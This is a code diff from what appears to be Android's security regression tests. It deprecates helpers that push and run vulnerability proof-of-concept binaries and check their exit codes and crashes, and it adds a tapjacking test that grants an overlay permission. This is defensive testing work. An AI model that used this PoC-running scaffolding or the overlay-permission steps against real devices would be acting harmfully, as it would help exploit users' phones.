* @return the console output from the binary
*/
+ @Deprecated
public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
return runPoc(pocName, device, timeout, null);
}
@@ -123,12 +124,14 @@
/**
* Pushes and runs a binary to the selected device
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
* @param arguments the input arguments for the poc
* @return the console output from the binary
*/
+ @Deprecated
public static String runPoc(String pocName, ITestDevice device, int timeout, String arguments)
throws Exception {
CollectingOutputReceiver receiver = new CollectingOutputReceiver();
@@ -139,48 +142,57 @@
/**
* Pushes and runs a binary to the selected device and ignores any of its output.
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
+ @Deprecated
public static void runPocNoOutput(String pocName, ITestDevice device, int timeout)
throws Exception {
runPocNoOutput(pocName, device, timeout, null);
}
/**
- * Pushes and runs a binary with arguments to the selected device and
- * ignores any of its output.
+ * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
* @param arguments input arguments for the poc
*/
- public static void runPocNoOutput(String pocName, ITestDevice device, int timeout,
- String arguments) throws Exception {
+ @Deprecated
+ public static void runPocNoOutput(
+ String pocName, ITestDevice device, int timeout, String arguments) throws Exception {
runPoc(pocName, device, timeout, arguments, null);
}
/**
- * Pushes and runs a binary with arguments to the selected device and
- * ignores any of its output.
+ * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
* @param arguments input arguments for the poc
* @param receiver the type of receiver to run against
*/
- public static int runPoc(String pocName, ITestDevice device, int timeout,
- String arguments, IShellOutputReceiver receiver) throws Exception {
+ @Deprecated
+ public static int runPoc(
+ String pocName,
+ ITestDevice device,
+ int timeout,
+ String arguments,
+ IShellOutputReceiver receiver)
+ throws Exception {
return runPoc(pocName, device, timeout, arguments, null, receiver);
}
/**
- * Pushes and runs a binary with arguments to the selected device and
- * ignores any of its output.
+ * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
@@ -188,9 +200,15 @@
* @param envVars run the poc with environment variables
* @param receiver the type of receiver to run against
*/
- public static int runPoc(String pocName, ITestDevice device, int timeout,
- String arguments, Map<String, String> envVars,
- IShellOutputReceiver receiver) throws Exception {
+ @Deprecated
+ public static int runPoc(
+ String pocName,
+ ITestDevice device,
+ int timeout,
+ String arguments,
+ Map<String, String> envVars,
+ IShellOutputReceiver receiver)
+ throws Exception {
String remoteFile = String.format("%s%s", TMP_PATH, pocName);
SecurityTestCase.getPocPusher(device).pushFile(pocName + "_sts", remoteFile);
@@ -246,9 +264,12 @@
/**
* Assert the poc is executable
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
*/
+ @Deprecated
private static void assertPocExecutable(String pocName, ITestDevice device) throws Exception {
String fullPocPath = TMP_PATH + pocName;
device.executeShellCommand("chmod 777 " + fullPocPath);
@@ -261,48 +282,6 @@
}
/**
- * Enables malloc debug on a given process.
- *
- * @param processName the name of the process to run with libc malloc debug
- * @param device the device to use
- * @return true if enabling malloc debug succeeded
- */
- public static boolean enableLibcMallocDebug(String processName, ITestDevice device) throws Exception {
- device.executeShellCommand("setprop libc.debug.malloc.program " + processName);
- device.executeShellCommand("setprop libc.debug.malloc.options \"backtrace guard\"");
- /**
- * The pidof command is being avoided because it does not exist on versions before M, and
- * it behaves differently between M and N.
- * Also considered was the ps -AoPID,CMDLINE command, but ps does not support options on
- * versions before O.
- * The [^]] prefix is being used for the grep command to avoid the case where the output of
- * ps includes the grep command itself.
- */
- String cmdOut = device.executeShellCommand("ps -A | grep '[^]]" + processName + "'");
- /**
- * .hasNextInt() checks if the next token can be parsed as an integer, not if any remaining
- * token is an integer.
- * Example command: $ ps | fgrep mediaserver
- * Out: media 269 1 77016 24416 binder_thr 00f35142ec S /system/bin/mediaserver
- * The second field of the output is the PID, which is needed to restart the process.
- */
- Scanner s = new Scanner(cmdOut).useDelimiter("\\D+");
- if(!s.hasNextInt()) {
- CLog.w("Could not find pid for process: " + processName);
- return false;
- }
-
- String result = device.executeShellCommand("kill -9 " + s.nextInt());
- if(!result.equals("")) {
- CLog.w("Could not restart process: " + processName);
- return false;
- }
-
- TimeUnit.SECONDS.sleep(1);
- return true;
- }
-
- /**
* Pushes and installs an apk to the selected device
*
* @param pathToApk a string path to apk from the /res folder
@@ -397,7 +376,10 @@
}
/**
* Utility function to help check the exit code of a shell command
+ *
+ * @deprecated Use {@link CommandUtil} instead.
*/
+ @Deprecated
public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
long time = System.currentTimeMillis();
String exitStatusString = runCommandLine(
@@ -419,16 +401,17 @@
}
/**
- * Pushes and runs a binary to the selected device and checks exit code
- * Return code 113 is used to indicate the vulnerability
+ * Pushes and runs a binary to the selected device and checks exit code Return code 113 is used
+ * to indicate the vulnerability
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
@Deprecated
- public static boolean runPocCheckExitCode(String pocName, ITestDevice device,
- int timeout) throws Exception {
+ public static boolean runPocCheckExitCode(String pocName, ITestDevice device, int timeout)
+ throws Exception {
//Refer to go/asdl-sts-guide Test section for knowing the significance of 113 code
return runPocGetExitStatus(pocName, device, timeout) == 113;
@@ -436,11 +419,13 @@
/**
* Pushes and runs a binary to the device and returns the exit status.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param timeout time to wait for output in seconds
-
*/
+ @Deprecated
public static int runPocGetExitStatus(String pocName, ITestDevice device, int timeout)
throws Exception {
return runPocGetExitStatus(pocName, null, device, timeout);
@@ -448,36 +433,49 @@
/**
* Pushes and runs a binary to the device and returns the exit status.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param arguments input arguments for the poc
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
- public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
- int timeout) throws Exception {
+ @Deprecated
+ public static int runPocGetExitStatus(
+ String pocName, String arguments, ITestDevice device, int timeout) throws Exception {
return runPocGetExitStatus(pocName, arguments, null, device, timeout);
}
/**
* Pushes and runs a binary to the device and returns the exit status.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param arguments input arguments for the poc
* @param envVars run the poc with environment variables
* @param device device to be run on
* @param timeout time to wait for output in seconds
*/
+ @Deprecated
public static int runPocGetExitStatus(
- String pocName, String arguments, Map<String, String> envVars,
- ITestDevice device, int timeout) throws Exception {
+ String pocName,
+ String arguments,
+ Map<String, String> envVars,
+ ITestDevice device,
+ int timeout)
+ throws Exception {
return runPoc(pocName, device, timeout, arguments, envVars, null);
}
/**
* Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
+ @Deprecated
public static void runPocAssertExitStatusNotVulnerable(
String pocName, ITestDevice device, int timeout) throws Exception {
runPocAssertExitStatusNotVulnerable(pocName, null, device, timeout);
@@ -485,27 +483,37 @@
/**
* Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param arguments input arguments for the poc
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
- public static void runPocAssertExitStatusNotVulnerable(String pocName, String arguments,
- ITestDevice device, int timeout) throws Exception {
+ @Deprecated
+ public static void runPocAssertExitStatusNotVulnerable(
+ String pocName, String arguments, ITestDevice device, int timeout) throws Exception {
runPocAssertExitStatusNotVulnerable(pocName, arguments, null, device, timeout);
}
/**
* Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param arguments input arguments for the poc
* @param envVars run the poc with environment variables
* @param device device to be ran on
* @param timeout time to wait for output in seconds
*/
+ @Deprecated
public static void runPocAssertExitStatusNotVulnerable(
- String pocName, String arguments, Map<String, String> envVars,
- ITestDevice device, int timeout) throws Exception {
+ String pocName,
+ String arguments,
+ Map<String, String> envVars,
+ ITestDevice device,
+ int timeout)
+ throws Exception {
assertTrue("PoC returned exit status 113: vulnerable",
runPocGetExitStatus(pocName, arguments, envVars, device, timeout) != 113);
}
@@ -513,136 +521,164 @@
/**
* Runs the poc binary and asserts that there are no security crashes that match the expected
* process pattern.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param processPatternStrings a Pattern string to match the crash tombstone process
*/
- public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
- String... processPatternStrings) throws Exception {
+ @Deprecated
+ public static void runPocAssertNoCrashes(
+ String pocName, ITestDevice device, String... processPatternStrings) throws Exception {
runPocAssertNoCrashes(pocName, device,
- new CrashUtils.Config().setProcessPatterns(processPatternStrings));
+ new TombstoneUtils.Config().setProcessPatterns(processPatternStrings));
}
/**
* Runs the poc binary and asserts that there are no security crashes that match the expected
* process pattern.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param config a crash parser configuration
*/
- public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
- CrashUtils.Config config) throws Exception {
+ @Deprecated
+ public static void runPocAssertNoCrashes(
+ String pocName, ITestDevice device, TombstoneUtils.Config config) throws Exception {
runPocAssertNoCrashes(pocName, device, null, config);
}
/**
* Runs the poc binary and asserts that there are no security crashes that match the expected
* process pattern, including arguments when running.
+ *
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param arguments input arguments for the poc
* @param config a crash parser configuration
*/
- public static void runPocAssertNoCrashes(String pocName, ITestDevice device, String arguments,
- CrashUtils.Config config) throws Exception {
- AdbUtils.runCommandLine("logcat -c", device);
- AdbUtils.runPocNoOutput(pocName, device,
- SecurityTestCase.TIMEOUT_NONDETERMINISTIC, arguments);
- assertNoCrashes(device, config);
+ @Deprecated
+ public static void runPocAssertNoCrashes(
+ String pocName, ITestDevice device, String arguments, TombstoneUtils.Config config)
+ throws Exception {
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(device, config)) {
+ AdbUtils.runPocNoOutput(pocName, device,
+ SecurityTestCase.TIMEOUT_NONDETERMINISTIC, arguments);
+ }
}
/**
- * Runs the poc binary and asserts following 2 conditions.
- * 1. There are no security crashes in the binary.
- * 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+ * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+ * condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param binaryName name of the binary
* @param arguments arguments for running the binary
* @param device device to be run on
*/
- public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
- ITestDevice device) throws Exception {
+ @Deprecated
+ public static void runPocAssertNoCrashesNotVulnerable(
+ String binaryName, String arguments, ITestDevice device) throws Exception {
runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device, null);
}
/**
- * Runs the poc binary and asserts following 2 conditions.
- * 1. There are no security crashes in the binary.
- * 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+ * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+ * condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param binaryName name of the binary
* @param arguments arguments for running the binary
* @param device device to be run on
- * @param processPatternStrings a Pattern string to match the crash tombstone
- * process
+ * @param processPatternStrings a Pattern string to match the crash tombstone process
*/
- public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
- ITestDevice device, String processPatternStrings[]) throws Exception {
+ @Deprecated
+ public static void runPocAssertNoCrashesNotVulnerable(
+ String binaryName, String arguments, ITestDevice device, String processPatternStrings[])
+ throws Exception {
runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device,
processPatternStrings);
}
/**
- * Runs the poc binary and asserts following 2 conditions.
- * 1. There are no security crashes in the binary.
- * 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+ * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+ * condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param binaryName name of the binary
* @param arguments arguments for running the binary
* @param inputFiles files required as input
- * @param inputFilesDestination destination directory to which input files are
- * pushed
+ * @param inputFilesDestination destination directory to which input files are pushed
* @param device device to be run on
*/
- public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
- String inputFiles[], String inputFilesDestination, ITestDevice device)
+ @Deprecated
+ public static void runPocAssertNoCrashesNotVulnerable(
+ String binaryName,
+ String arguments,
+ String inputFiles[],
+ String inputFilesDestination,
+ ITestDevice device)
throws Exception {
runPocAssertNoCrashesNotVulnerable(binaryName, arguments, inputFiles, inputFilesDestination,
device, null);
}
/**
- * Runs the poc binary and asserts following 3 conditions.
- * 1. There are no security crashes in the binary.
- * 2. There are no security crashes that match the expected process pattern.
- * 3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+ * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+ * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param binaryName name of the binary
* @param arguments arguments for running the binary
* @param inputFiles files required as input
- * @param inputFilesDestination destination directory to which input files are
- * pushed
+ * @param inputFilesDestination destination directory to which input files are pushed
* @param device device to be run on
- * @param processPatternStrings a Pattern string to match the crash tombstone
- * process
+ * @param processPatternStrings a Pattern string to match the crash tombstone process
*/
- public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
- String inputFiles[], String inputFilesDestination, ITestDevice device,
- String processPatternStrings[]) throws Exception {
+ @Deprecated
+ public static void runPocAssertNoCrashesNotVulnerable(
+ String binaryName,
+ String arguments,
+ String inputFiles[],
+ String inputFilesDestination,
+ ITestDevice device,
+ String processPatternStrings[])
+ throws Exception {
runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null,
inputFiles, inputFilesDestination, device, processPatternStrings);
}
/**
- * Runs the poc binary and asserts following 3 conditions.
- * 1. There are no security crashes in the binary.
- * 2. There are no security crashes that match the expected process pattern.
- * 3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+ * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+ * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param binaryName name of the binary
* @param arguments arguments for running the binary
* @param envVars run the poc with environment variables
* @param inputFiles files required as input
- * @param inputFilesDestination destination directory to which input files are
- * pushed
+ * @param inputFilesDestination destination directory to which input files are pushed
* @param device device to be run on
* @param processPatternStrings a Pattern string (other than binary name) to match the crash
- * tombstone process
+ * tombstone process
*/
+ @Deprecated
public static void runPocAssertNoCrashesNotVulnerable(
- String binaryName, String arguments, Map<String, String> envVars,
- String inputFiles[], String inputFilesDestination, ITestDevice device,
- String... processPatternStrings) throws Exception {
+ String binaryName,
+ String arguments,
+ Map<String, String> envVars,
+ String inputFiles[],
+ String inputFilesDestination,
+ ITestDevice device,
+ String... processPatternStrings)
+ throws Exception {
pocConfig testConfig = new pocConfig(binaryName, device);
testConfig.arguments = arguments;
testConfig.envVars = envVars;
@@ -660,27 +696,28 @@
String[] processPatternStringsWithSelf = new String[processPatternList.size()];
processPatternList.toArray(processPatternStringsWithSelf);
testConfig.config =
- new CrashUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
+ new TombstoneUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
runPocAssertNoCrashesNotVulnerable(testConfig);
}
/**
- * Runs the poc binary and asserts following 3 conditions.
- * 1. There are no security crashes in the binary.
- * 2. There are no security crashes that match the expected process pattern.
- * 3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+ * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+ * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
*
+ * @deprecated Use {@link NativePoc} instead.
* @param testConfig test configuration
*/
+ @Deprecated
public static void runPocAssertNoCrashesNotVulnerable(pocConfig testConfig) throws Exception {
String[] inputFiles = null;
if(!testConfig.inputFiles.isEmpty()) {
inputFiles = testConfig.inputFiles.toArray(new String[testConfig.inputFiles.size()]);
pushResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
}
- runCommandLine("logcat -c", testConfig.device);
- try {
+ try (AutoCloseable a =
+ TombstoneUtils.withAssertNoSecurityCrashes(testConfig.device, testConfig.config)) {
runPocAssertExitStatusNotVulnerable(testConfig.binaryName, testConfig.arguments,
testConfig.envVars, testConfig.device, TIMEOUT_SEC);
} catch (IllegalArgumentException e) {
@@ -696,63 +733,6 @@
removeResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
}
}
- if(testConfig.checkCrash) {
- if (testConfig.config == null) {
- testConfig.config = new CrashUtils.Config();
- }
- assertNoCrashes(testConfig.device, testConfig.config);
- }
- }
-
- /**
- * Dumps logcat and asserts that there are no security crashes that match the expected process.
- * By default, checks min crash addresses
- * pattern. Ensure that adb logcat -c is called beforehand.
- * @param device device to be ran on
- * @param processPatternStrings a Pattern string to match the crash tombstone process
- */
- public static void assertNoCrashes(ITestDevice device, String... processPatternStrings)
- throws Exception {
- assertNoCrashes(device, new CrashUtils.Config().setProcessPatterns(processPatternStrings));
- }
-
- /**
- * Dumps logcat and asserts that there are no security crashes that match the expected process
- * pattern. Ensure that adb logcat -c is called beforehand.
- * @param device device to be ran on
- * @param config a crash parser configuration
- */
- public static void assertNoCrashes(ITestDevice device,
- CrashUtils.Config config) throws Exception {
- String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
-
- JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
- JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
-
- MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
- reportLog.addValue("all_crashes", crashes.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue("security_crashes", securityCrashes.toString(),
- ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.submit();
-
- if (securityCrashes.length() == 0) {
- return; // no security crashes detected
- }
-
- StringBuilder error = new StringBuilder();
- error.append("Security crash detected:\n");
- error.append("Process patterns:");
- for (Pattern pattern : config.getProcessPatterns()) {
- error.append(String.format(" '%s'", pattern.toString()));
- }
- error.append("\nCrashes:\n");
- for (int i = 0; i < crashes.length(); i++) {
- try {
- JSONObject crash = crashes.getJSONObject(i);
- error.append(String.format("%s\n", crash));
- } catch (JSONException e) {}
- }
- fail(error.toString());
}
public static void assumeHasNfc(ITestDevice device) throws DeviceNotAvailableException {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
index 0822c75..6a259b4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_182282630 extends SecurityTestCase {
+public final class Bug_182282630 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_182282630";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-182282630.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
index 57e2635..52f680e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
@@ -21,14 +21,15 @@
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_182808318 extends SecurityTestCase {
+public final class Bug_182808318 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_182808318";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-182808318.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java
new file mode 100644
index 0000000..b461fae
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Bug_182810085 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.BUG_182810085";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "BUG-182810085.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(
+ "not an Automotive device",
+ getDevice().hasFeature("feature:android.hardware.type.automotive"));
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 182810085)
+ public void testRunDeviceTestsPassesFull() throws Exception {
+ installPackage(TEST_APP);
+ // Grant permission to draw overlays.
+ getDevice().executeShellCommand(
+ "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW");
+ assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testTapjacking"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
index e3dd727..1295a85 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183410508 extends SecurityTestCase {
+public final class Bug_183410508 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183410508";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183410508.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
index d59fce4..fac7d0e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
@@ -21,6 +21,7 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Before;
@@ -28,7 +29,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183411210 extends SecurityTestCase {
+public final class Bug_183411210 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183411210";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183411210.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
index df7556c..bbcd64c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183411279 extends SecurityTestCase {
+public final class Bug_183411279 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183411279";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183411279.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
index 75bbd0a..f0b6568 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -23,10 +23,10 @@
import org.junit.Before;
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase {
+public final class Bug_183613671 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183613671";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183613671.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
index 73cfdb9..8045838 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183794206 extends SecurityTestCase {
+public final class Bug_183794206 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183794206";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183794206.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
index adf6103..7b183b3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -25,10 +25,10 @@
import org.junit.runner.RunWith;
